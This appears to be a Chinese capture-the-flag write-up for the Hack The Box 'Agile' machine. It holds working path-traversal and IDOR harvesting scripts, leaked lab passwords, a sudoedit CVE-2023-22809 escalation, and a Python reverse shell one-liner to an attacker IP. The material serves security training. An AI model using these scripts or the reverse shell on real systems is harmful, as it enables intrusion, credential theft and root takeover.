靶机Agile补充图片
一、信息搜集
└─# nmap -sCV --min-rate=1000 -Pn 10.10.11.203 Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 10:12 CST Nmap scan report for 10.10.11.203 Host is up (0.35s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA) |_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://superpass.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 171.68 seconds
添加host
└─# echo "10.10.11.203 superpass.htb" >> /etc/hosts
二、本地文件包含
在扫描目录后发现download 路径,访问出现报错信息,发现了参数是fn
读取/etc/passwd,发现需要登录权限。注册个账号就读取了。
我们可以在 python 中创建一个脚本,自动实现这个过程,只需要输入的文件路径
└─# cat lfi.py #!/usr/bin/python3 import requests, sys if len(sys.argv) < 2: print(f"\033[0;37m[\033[0;31m-\033[0;37m] Uso: python3 {sys.argv[0]} ") sys.exit(1) target = "http://superpass.htb" session = requests.Session() data = {"username": "123", "password": "123", "submit": ""} session.post(target + "/account/login", data=data) params = {"fn": ".." + sys.argv[1]} request = session.get(target + "/download", params=params) print(request.text.strip()) └─# python lfi.py /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin corum:x:1000:1000:corum:/home/corum:/bin/bash dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false runner:x:1001:1001::/app/app-testing/:/bin/sh edwards:x:1002:1002::/home/edwards:/bin/bash dev_admin:x:1003:1003::/home/dev_admin:/bin/bash _laurel:x:999:999::/var/log/laurel:/bin/false
指向错误的文件会向我们读取正在运行的 .py 文件的路径
└─# python lfi.py /etc/passwds | grep app
└─# python lfi.py /app/app/superpass/views/vault_views.py import flask import subprocess from flask_login import login_required, current_user from superpass.infrastructure.view_modifiers import response import superpass.services.password_service as password_service from superpass.services.utility_service import get_random from superpass.data.password import Password blueprint = flask.Blueprint('vault', __name__, template_folder='templates') @blueprint.route('/vault') @response(template_file='vault/vault.html') @login_required def vault(): passwords = password_service.get_passwords_for_user(current_user.id) print(f'{passwords=}') return {'passwords': passwords} @blueprint.get('/vault/add_row') @response(template_file='vault/partials/password_row_editable.html') @login_required def add_row(): p = Password() p.password = get_random(20) #import pdb;pdb.set_trace() return {"p": p} @blueprint.get('/vault/edit_row/') @response(template_file='vault/partials/password_row_editable.html') @login_required def get_edit_row(id): password = password_service.get_password_by_id(id, current_user.id) return {"p": password} @blueprint.get('/vault/row/') @response(template_file='vault/partials/password_row.html') @login_required def get_row(id): password = password_service.get_password_by_id(id, current_user.id) return {"p": password} @blueprint.post('/vault/add_row') @login_required def add_row_post(): r = flask.request site = r.form.get('url', '').strip() username = r.form.get('username', '').strip() password = r.form.get('password', '').strip() if not (site or username or password): return '' p = password_service.add_password(site, username, password, current_user.id) return flask.render_template('vault/partials/password_row.html', p=p) @blueprint.post('/vault/update/') @response(template_file='vault/partials/password_row.html') @login_required def update(id): r = flask.request site = r.form.get('url', '').strip() username = r.form.get('username', '').strip() password = r.form.get('password', '').strip() if not (site or username or password): flask.abort(500) p = password_service.update_password(id, site, username, password) return {"p": p} @blueprint.delete('/vault/delete/') @login_required def delete(id): password_service.delete_password(id) return '' @blueprint.get('/vault/export') @login_required def export(): if current_user.has_passwords: fn = password_service.generate_csv(current_user) return flask.redirect(f'/download?fn={fn}', 302) return "No passwords for user" @blueprint.get('/download') @login_required def download(): r = flask.request fn = r.args.get('fn') with open(f'/tmp/{fn}', 'rb') as f: data = f.read() resp = flask.make_response(data) resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv' resp.mimetype = 'text/csv' return resp
阅读代码我们可以在.py文件的这部分代码中找到一个idor
@blueprint.get('/vault/row/') @response(template_file='vault/partials/password_row.html') @login_required def get_row(id): password = password_service.get_password_by_id(id, current_user.id) return {"p": password}
发送不同的id我们可以看到不同的用户密码。可以创建一个python脚本来遍历id并从中获取数据
#!/usr/bin/python3 import requests, bs4 from pwn import log target = "http://superpass.htb" session = requests.Session() data = {"username": "username", "password": "password", "submit": ""} session.post(target + "/account/login", data=data) for id in range(0,10): request = session.get(target + "/vault/row/" + str(id)) soup = bs4.BeautifulSoup(request.content, "html.parser") rows = soup.find_all("tr", class_="password-row") for row in rows: cols = row.find_all("td") sitename = cols[1].get_text() username = cols[2].get_text() password = cols[3].get_text() if sitename != "": log.info(f"Credentials in row {id}:") print(f"\tSitename: {sitename}") print(f"\tUsername: {username}") print(f"\tPassword: {password}") print("\r")
执行时,它遍历id并从不同用户获得 6 个密码
└─# python AgileExploit.py [*] Credentials in row 3: Sitename: hackthebox.com Username: 0xdf Password: 762b430d32eea2f12970 [*] Credentials in row 4: Sitename: mgoblog.com Username: 0xdf Password: 5b133f7a6a1c180646cb [*] Credentials in row 6: Sitename: mgoblog Username: corum Password: 47ed1e73c955de230a1d [*] Credentials in row 7: Sitename: ticketmaster Username: corum Password: 9799588839ed0f98c211 [*] Credentials in row 8: Sitename: agile Username: corum Password: 5db7caa1d13cc37c9fc2
在最后的一个sitename:agile 和我们的靶机名一样,那么用它username 和 password登录ssh 成功。
列出内部端口,我们可以看到 41829,这在系统上并不常见
-bash-5.1$ netstat -natActive Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:5555 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:56423 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:41829 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:32846 127.0.0.1:56423 TIME_WAIT tcp 0 0 127.0.0.1:40522 127.0.0.1:3306 ESTABLISHEDtcp 0 0 127.0.0.1:44958 127.0.0.1:5555 TIME_WAIT tcp 150 0 127.0.0.1:33290 127.0.0.1:3306 CLOSE_WAIT tcp 0 0 127.0.0.1:36324 127.0.0.1:41829 ESTABLISHEDtcp 0 0 127.0.0.1:50656 127.0.0.1:80 ESTABLISHEDtcp 0 0 127.0.0.1:80 127.0.0.1:50696 ESTABLISHEDtcp 0 0 127.0.1.1:22 127.0.0.1:57456 ESTABLISHEDtcp 0 0 10.10.11.203:22 10.10.14.27:56314 ESTABLISHEDtcp 0 0 10.10.11.203:22 10.10.14.38:42908 ESTABLISHEDtcp 0 0 127.0.0.1:50676 127.0.0.1:80 ESTABLISHEDtcp 0 0 127.0.0.1:50666 127.0.0.1:80 ESTABLISHEDtcp 0 0 127.0.0.1:57866 127.0.0.1:5555 TIME_WAIT tcp 0 0 127.0.0.1:3306 127.0.0.1:40522 ESTABLISHEDtcp 0 0 127.0.0.1:44948 127.0.0.1:5555 TIME_WAIT tcp 0 0 127.0.0.1:80 127.0.0.1:50666 ESTABLISHEDtcp 0 0 127.0.0.1:80 127.0.0.1:50656 ESTABLISHEDtcp 0 0 10.10.11.203:22 10.10.16.27:59280 ESTABLISHEDtcp 0 4284 10.10.11.203:22 10.10.16.4:57244 ESTABLISHEDtcp 0 0 127.0.0.1:80 127.0.0.1:50690 ESTABLISHEDtcp 0 0 127.0.0.1:41829 127.0.0.1:36324 ESTABLISHEDtcp 0 0 127.0.0.1:50696 127.0.0.1:80 ESTABLISHEDtcp 0 0 10.10.11.203:22 10.10.14.78:49518 ESTABLISHEDtcp 0 0 127.0.0.1:50690 127.0.0.1:80 ESTABLISHEDtcp 0 0 127.0.0.1:80 127.0.0.1:50712 ESTABLISHEDtcp 0 0 127.0.0.1:50712 127.0.0.1:80 ESTABLISHEDtcp 0 0 127.0.0.1:56423 127.0.0.1:32856 ESTABLISHEDtcp 0 0 127.0.0.1:41829 127.0.0.1:36340 ESTABLISHEDtcp 0 0 10.10.11.203:22 10.10.16.27:33362 ESTABLISHEDtcp 0 0 127.0.0.1:44972 127.0.0.1:5555 TIME_WAIT tcp 0 0 127.0.0.1:44938 127.0.0.1:5555 TIME_WAIT tcp 0 1 10.10.11.203:58342 8.8.8.8:53 SYN_SENT tcp 0 0 127.0.0.1:57872 127.0.0.1:5555 TIME_WAIT tcp 0 0 127.0.0.1:32856 127.0.0.1:56423 ESTABLISHEDtcp 0 0 127.0.0.1:36340 127.0.0.1:41829 ESTABLISHEDtcp 0 0 127.0.0.1:80 127.0.0.1:50676 ESTABLISHEDtcp 0 0 127.0.0.1:57456 127.0.1.1:22 ESTABLISHEDtcp6 0 0 :::22 :::* LISTEN tcp6 0 0 ::1:56423 :::* LISTEN
在进程中我们可以看到这个端口运行着谷歌浏览器的远程debug
-bash-5.1$ ps faux | grep 41829 runner 19539 0.1 2.6 34023456 103904 ? Sl 03:28 0:00 \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.VCC6v1 --window-size=1420,1080 data:, runner 19603 0.5 4.1 1184764420 163312 ? Sl 03:28 0:01 | \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=19546 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1678414886916814 --launch-time-ticks=3996020528 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,1475177266462851820,14744098003185442377,131072 --disable-features=PaintHolding corum 19709 0.0 0.0 4020 2072 pts/7 S+ 03:31 0:00 \_ grep 41829
要在本地使用该端口,我们将通过使用 ssh 进行端口转发来使用它
└─# ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829 corum@10.10.11.203's password: 5db7caa1d13cc37c9fc2
在搜索栏中使用 chrome://inspect 输入127.0.0.1:41829
它向我们展示了 http://test.superpass.htb/vault 的 Target SuperPassword,访问看到了账号密码
我们可以再次使用agile 站点的username 和 password,通过ssh登录
edwards d07867c6267dcb5df0af corum@agile:~$ su edwards Password: edwards@agile:/home/corum$ edwards@agile:/home/corum$ id uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)
查看 sudoers 级别的权限,我们可以使用 sudoedit 作为 dev_admin 打开 2 个文件
edwards@agile:/home/corum$ sudo -l [sudo] password for edwards: Matching Defaults entries for edwards on agile: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User edwards may run the following commands on agile: (dev_admin : dev_admin) sudoedit /app/config_test.json (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
在本地python开web,上传到靶机pspy
└─# python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.203 - - [10/Mar/2023 13:37:47] "GET /pspy64 HTTP/1.1" 200 -
用pspy列出任务我们可以发现root执行了这个文件/app/venv/bin/activate
edwards@agile:~$ ./pspy64 |grep activate 2023/03/10 05:41:55 CMD: UID=1002 PID=1326 | grep --color=auto activate 2023/03/10 05:41:55 CMD: UID=1002 PID=1320 | vim /var/tmp/activate.XXfIlGzM /var/tmp/config_testXXXyfw94.json 2023/03/10 05:45:01 CMD: UID=0 PID=1480 | /bin/bash -c source /app/venv/bin/activate
该文件有 dev_admin 作为一个可以写入的组,如果我们可以修改它,我们就是 root
找到 sudoedit 的 CVE-2023–22809[1],它向我们展示了一些利用它的方法
我们通过打开 /app/venv/bin/activate 作为额外文件来导出变量
export EDITOR="vim -- /app/venv/bin/activate"
现在我们打开允许我们在 sudoers 级别以 dev_admin 打开的文件/app/config_test.json
sudo -u dev_admin sudoedit /app/config_test.json
使用在线工具 生成python的反弹shell命令,在线反弹shell[2]
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
反弹shell 拿到root 。
References
[1]
CVE-2023–22809: https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf
[2]
在线反弹shell: https://www.0le.cn/reverse/
